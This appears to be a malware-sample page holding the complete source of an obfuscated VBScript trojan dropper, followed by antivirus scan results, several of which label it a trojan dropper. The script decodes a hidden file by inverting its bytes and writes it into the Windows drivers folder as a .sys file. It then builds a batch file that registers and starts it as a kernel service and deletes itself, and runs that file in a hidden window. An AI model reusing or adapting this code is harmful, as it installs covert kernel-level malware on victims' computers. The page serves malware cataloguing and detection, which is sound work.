No static analysis available.
MzPyFcizE="VsWhIjvZFONxAkdaJeXqbLvFOQ"
On Error Resume Next
NbFMYBiMG="BzjUlQVwjFJbiytqUkkPFXjzTU"
wsc_S = "WSc"
RrunXdDoh="tuoAWbVTcHoHiKjeXFcJEBPDnR"
wsc_S =wsc_S & "ript."
WaFPSMgWR="ueneVFnKPmkzGKsMGuEpPcMIHD"
wsc_S =wsc_S & "Sh"
lHTegpeDU="sGBfMcxUDOWyvQihFTohFlQjGe"
wsc_S =wsc_S & "ell"
bVUDrxHjb="hPUGNPYlyhWSSRwnrHLQJbdYEY"
set slllllllllll=WScript.CreateObject(wsc_S)
iAqYbiuYe="NPfIcKmftZVWJyaXbrboRuGkNU"
AD_db="ADO"
kvXMlfJwm="hBZMIzgofdngoOUKPyqdSFOEWo"
FIL_OB="Scr"
QbTUQkbzS="DjevKTjPXIwbEEJqAfeaCRKTlx"
FIL_OB =FIL_OB & "iptin"
zPKhycobf="XZJqFOqFSegQCEXlEKsJbZYwbU"
FIL_OB =FIL_OB & "g.Fil"
waNOXzelI="cPOaNEfKpfjiGrbUXwlAnzGzmQ"
FIL_OB =FIL_OB & "eSy"
zjntAsmVq="CppcCaehybnPVNNeDsyHbneWsj"
FIL_OB =FIL_OB & "ste"
frumyfkgL="AJmfLYTinwGLGQNoMzTJebpYBK"
FIL_OB =FIL_OB & "mOb"
PVwBCNrPS="xFpmwVNmIpFFZXsVcUaQMIhdqt"
FIL_OB =FIL_OB & "ject"
AsBTgWqEB="BFZiLwQiYUzOMRIqufMuvwfkqX"
AD_db =AD_db & "DB.S"
RIMrIxkDY="KRenHHAZochdPNQMGMPgzeKqvs"
AD_db =AD_db & "tre"
DphPewHah="ENVoQyULRYciIRByVYxixFktAj"
AD_db =AD_db & "am"
ezNqaBrEX="UEHEJteAuWzZFtyhquvDjZiuOo"
Function MyRandc(n)
qzCTHGynG="mFlPVGwJvobgILFFUxEbbbcDDe"
dim thechr
ECUqDAjkm="iugpigRwzZmArKFOBRBrKcyiGO"
thechr = ""
hxFuTISak="FBanJnylCNVwGSqJSyvEKFeNVa"
for i=1 to n
CqdmwNDbF="OhyFJqQCCTnXxIjsAgDtVFekeA"
dim zNum,zNum2
NcshhowAF="whDTYaXYQWFGzylZFUQRVRTpgX"
Randomize
FsEdhMOYB="RZssKkWxBMZqPOjERztEmAhYel"
zNum = cint(25*Rnd)
ERWKsZdrf="fjAKAPgHAbcYtlmzKuvPnROYHf"
zNum2 = cint(10*Rnd)
JtcJWuDvk="MqxwrFKWiQikUskcaLYVJCSAzb"
if zNum2 mod 2 = 0 then
ugAhXYevB="DFllJEjxCvqWCxkybuaiSyKCQr"
zNum = zNum + 97
hZAfFcERZ="vNHMlYugjYPQiSoupmzzHFGJGp"
else
ZPbNeKkKl="IoatqSlBVqgJTnkMLTVnbaFgou"
zNum = zNum + 65
UEkQukqiy="zjngYeuNrGAxXflGufMnaGuviO"
end if
zXXsPXAyD="nIQySIBxbsNFDgsLWwFdblZMbA"
thechr = thechr & chr(zNum)
IWhLZqUvX="VapysppBHEToCOpAZqASpGjIaq"
PbGjmWZlr="tamWONboomXAgGIlXkngWNTkUF"
MyRandc = thechr
CAPoXYmSC="aIUYZAibEoiIpNPhpjDPteKeoF"
End Function
tielWSOmk="gfpNopgSPkxxIfFhlQQRyqrftB"
serverName=MyRandc(10)
VSPJWsKdO="duCjhQjpJhGxnmNDxTKTsyZpJv"
Function ReadBinary(FileName)
oOTvvIJAx="mLEreUXTAUifWZkugfTLnXWDws"
Dim Buf(), I
ouxXIlgrI="BXeueCSIncYMNZOrHkzdKUWpOZ"
With CreateObject(AD_db)
faTdrHBct="glHqUfNJRmuUgVmJzTDUMofgZr"
.Mode = 3: .Type = 1: .Open: .LoadFromFile FileName
kuIITltan="HsmocjPJSnDjmremYJPXREPGQY"
ReDim Buf(.Size - 1)
iOuONPFnY="tgzGHEkMbxeHsGoCJVcEnPPWjM"
For I = 0 To .Size - 1: Buf(I) = AscB(.Read(1)): Next
PlZtrshnV="VorwCpOpMQAUuzVfEDUgqwlMLR"
.Close
KTewDbPUK="MdqQiNmrvrgjZoqUDHQLbjqmiJ"
End With
flEdSPecg="vVcjUtJmapmvwOPmKqaVYJvWiY"
ReadBinary = Buf
wkeFVbnYd="PzyhjBFCIiyNnuhtGXJQRyHJcN"
End Function
cYxjDTjkT="MvtXDUNzJkxAYrHazGYYOSxPfH"
DB_Path="C:/Win"
bPcatQAVJ="lmMvCgxTxaHaeKNADrwbAxpikM"
DB_Path =DB_Path & "dows/a"
XaSWinvBX="lcJnbbqPKBRFPmylbEJlZAbRvG"
DB_Path =DB_Path & "ddins/Ne"
cPhvlGsCy="vjVAuCTDmVIoImylfqGWhyoSWe"
DB_Path =DB_Path & "w.db"
YUBSuHBzE="XhxURtZOwuzWlCbVZmXNwJfHLZ"
bufff=ReadBinary(DB_Path)
sIIgtSVIG="bnhfltIDjWrCyxafVyUesxcWjh"
SIze=UBound(bufff)-1
ABNGaayXn="KiWZkEAzTaDsQsvboLBevryVFG"
Dim RvBuf()
fLPAvaqyK="jNuIzTHjaIHDCZhwDFUynBWkvu"
ReDim RvBuf(SIze)
YZdMuNQbq="rySpugSQeDhcQsoiguXBRihUoS"
For IXX = 0 To SIze
aSuuKhKNi="DPsXFpmHuNWjsrYBanBKMvLHFd"
RvBuf(IXX)=not bufff(IXX)
VCtzBiDAs="ppjXtZVqggnguZoUIMDBhQTBFe"
TNchFULEF="rqFpsKnkjCxWTCLOErGDrjhBEn"
Sub WriteBinary(FileName, Buf)
xyhjCRNcn="iYHvOdQowxWojHMNBENaHYphif"
Dim I, aBuf, Size, bStream
RGjoqfYkn="cBIOyHCEiKMYcDbdZhZEMANdPT"
Size = UBound(Buf): ReDim aBuf(Size \ 2)
PryPOSLBL="RDcWiOuPAPgnlqLsaHZCCEtRLS"
For I = 0 To Size - 1 Step 2
QbwILwglc="jKwQvfNDBZOIvijqANPlQSKYbH"
aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))
lQVGmUlIS="BfxaYkKgKOGWCOvdeZyDljMiom"
Next
JmSRcfvxJ="coyAwbWnXQFnAKHvSUsPkIRoUB"
If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))
MeYKMYErp="VQmMtBAqeMTILaFzFCTgbebEXS"
aBuf=Join(aBuf, "")
cmmeqJQlF="rIJkhPySxHSXUJzIBYfcLArfWW"
Set bStream = CreateObject(AD_db)
HoOovqpxy="whVYaPWSWpUPdRBWUhozlFOMEL"
bStream.Type = 1: bStream.Open
PhnfLXOCF="CEoZXqESXRnmzzDqUKpBqJPVUf"
With CreateObject(AD_db)
BjNyCtPgx="cLIusaYftcZtYAsJVpXumGMReI"
.Type = 2 : .Open: .WriteText aBuf
bMouRXCTg="smoyjAwkoipWOscaoOMoFXbmKJ"
.Position = 2: .CopyTo bStream: .Close
tQxKQvzcm="nEfZxRlLnhggKrkBaAPJqMVoWF"
End With
zZpJuKQDC="PjWYhKlfyzQNIerwxMcbFJXoOL"
bStream.SaveToFile FileName, 2: bStream.Close
HxjBapMYC="QAahCeRoEffoXnJoDVolYCXiiM"
Set bStream = Nothing
JlprEXyBS="SijYFHQCRgxPfxJDeNiYbAuXqI"
End Sub
GgNmlTHXb="uBWZvzjYRJbyCNWzSoiHlJOGSc"
S_Path = "C"
ejRdhnyAC="hUiruKMCniNmycOpElseCfDLLH"
S_Path = S_Path & ":/Wi"
QaImBsLvj="NkqfWdKnNbnlCNCXepCWzWRnpl"
S_Path = S_Path & "nd"
TCpnPNmgw="urnHByUMXXOAiXCXaCANVUZKqc"
S_Path =S_Path & "ows/Sys"
qspwjLWuf="dOgsonTZeFaHpPKXUXghUfYYVt"
S_Path =S_Path & "tem32/dri"
OayrYPQrs="spEXsmElELvtkoIaGnLBffdsnB"
S_Path =S_Path & "vers/tso"
BikwKrcJW="PdLixQummZgZWpuWBMBEDwNyvI"
S_Path =S_Path & "cketo.s"
UfqAuptUi="FXRiOcVLfnJyYrlqpnCLIYrAIk"
S_Path =S_Path & "ys"
HWgNpgHIk="yDuUuKgjBhGlTsQaIHoyjxTkYK"
WriteBinary S_Path,RvBuf
YjbuEOHXf="fuLynnMTgrjONvXQdJZFVUwLOf"
SSS_Path="Syste"
desXGcWMv="hNAfUeFjQcsQLXWGBGmkWocXWj"
SSS_Path =SSS_Path & "m32\dri"
CnaTPfCfX="UZZVTzTkJbamYwvEGvmtNsuiOx"
SSS_Path =SSS_Path & "vers\tsoc"
KBxvXNYpf="kGHhcOcctaLcLGYChAWPzWbJUR"
SSS_Path =SSS_Path & "keto.s"
MioWaYjEU="PEiTJJEUQngXUADvXPRvcchoen"
SSS_Path =SSS_Path & "ys"
WAsUqNFxY="ubSAaPBkDGYExEtzSRJQtowKMy"
buffffff="sc create "+serverName+" type= kernel binPath= "+SSS_Path +Chr(13) +Chr(10) +"sc start "+serverName+Chr(13) +Chr(10) +"del % 0"
pkJQRGCut="tXkJyqZNdSCtypKlSeVtAUILep"
Ba_Path="C"
EjzHeEyqa="XSQUMKCBFinzGjcIXDtzgazRqS"
Ba_Path =Ba_Path & ":/W"
ubdxRncko="mmIeXtQQIXXIimTSUMfATfBPYY"
Ba_Path =Ba_Path & "in"
fqtqNbHET="hgWiRMBEbiMcEOkaODhhzHCapQ"
Ba_Path =Ba_Path & "dows/ad"
YaCEzYROd="DUhyDOMrCIsISdoNcnSbTUHEgw"
Ba_Path =Ba_Path & "dins/2."
gDRBNRWvQ="uFdttHrkZfJSKtFSzbnjiDzqBH"
Ba_Path =Ba_Path & "bat"
ohFuEONFJ="kuVOIrcwrFcEYICXoZwUNeGVcE"
'create file and write
HJJHsgUfB="ybqgtacdXzddpeCIOhWeuAgWoF"
Dim fso,tf
HpSCfvSDO="fpaJqVNBxBLPMbSNuYImlSABTV"
Set fso = CreateObject(FIL_OB)
vVodnTYXZ="piAVuulbkNIZxTJoXnhxZhOmds"
Set tf = fso.CreateTextFile(Ba_Path, True)
iveOyHpFq="rxImHgmpPkdVSIEhYSYhIfbIzV"
tf.WriteLine(buffffff)
dizAjtrBw="ngwvcibBwFBzZbqRZpcZuDwNpl"
tf.close
pMIPPgBLE="igpOnxuDJBfwAdeoFvCwBfOHyf"
Set Fso = Nothing
cFYmBDxKm="xyEDSlmzWyoyaruJTGqokuOCUn"
slllllllllll.Run Ba_Path,0
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CTX Clean
CAT-QuickHeal Clean
Skyhigh Clean
ALYac Clean
Zillya Clean
Sangfor Clean
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Trojan.Malscript
ESET-NOD32 VBS/Agent.QWZ
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Trojan-Dropper.VBS.SDrop.gen
BitDefender Clean
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
ViRobot Clean
MicroWorld-eScan Clean
Tencent Trojan.VBS.Agent.404668
Sophos Clean
F-Secure Malware.VBS/Drop.Agent.VPWH
DrWeb Clean
VIPRE Clean
TrendMicro Clean
CMC Clean
Emsisoft Clean
huorong TrojanDropper/VBS.Agent.cb
FireEye Clean
Jiangmin Clean
Varist VBS/Agent.BES
Avira VBS/Drop.Agent.VPWH
Fortinet Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Clean
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Rising Trojan.Agent/VBS!1.12983 (CLASSIC)
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
GData Clean
AVG Script:SNH-gen [Trj]
Panda Clean
alibabacloud Clean
IRMA Signature
Trend Micro SProtect (Linux) Clean
Avast Core Security (Linux) Script:SNH-gen [Trj]
C4S ClamAV (Linux) Sanesecurity.Malware.25834.JsHeur.UNOFFICIAL
Trellix (Linux) Clean
Sophos Anti-Virus (Linux) Clean
Bitdefender Antivirus (Linux) Clean
G Data Antivirus (Windows) Clean
WithSecure (Linux) Malware.VBS/Drop.Agent.VPWH
ESET Security (Windows) VBS/Agent.QWZ trojan
DrWeb Antivirus (Linux) Clean
ClamAV (Linux) Sanesecurity.Malware.25834.JsHeur.UNOFFICIAL
eScan Antivirus (Linux) Clean
Kaspersky Standard (Windows) HEUR:Trojan-Dropper.VBS.SDrop.gen
Emsisoft Commandline Scanner (Windows) Clean
Cuckoo

We're processing your submission... This could take a few seconds.